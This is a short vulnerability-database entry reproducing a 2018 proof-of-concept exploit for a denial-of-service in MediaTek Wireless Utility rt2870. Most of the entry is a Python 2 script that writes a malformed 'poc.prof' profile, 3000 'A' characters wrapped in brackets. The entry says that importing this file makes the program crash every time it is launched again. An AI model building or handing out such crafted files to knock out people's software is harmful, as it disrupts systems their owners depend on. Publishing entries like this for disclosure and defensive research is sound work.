发布 2018-09-13 漏洞条目

MediaTek Wirless Utility rt2870 – Denial of Service (PoC)

Exploit Source

# Exploit Title: MediaTek Wirless Utility rt2870 - Denial of Service (PoC)

# Autor: Lawrence Amer

# Date: 2018-09-13

# Vendor: MediaTek

# Software url: https://click.pstmrk.it/2ts/d86o2zu8ugzlg.cloudfront.net%2Fmediatek-craft%2Fdrivers%2FRT2770_2870_RT307x.zip/K94pHAI/oTs1/oC6CdN114w

# Tested on OS: Windows 7 64-bit , 32-bit

# Description: launch program then click on Add profile setting dialog choose our generate prof file ,

# succesfully reproduce persistent Denial of service every time launch the program again .

#!/usr/bin/python

buffer ="\x41"*3000

start = "["

end = "]"

payload = start+buffer+end

try:

f=open("poc.prof","w")

print "[+] Creating %s Byet evil payload.." %len(payload)

f.write(payload)

f.close()

print "[+] file created !"

except:

print "File cannot be created !"

相关漏洞条目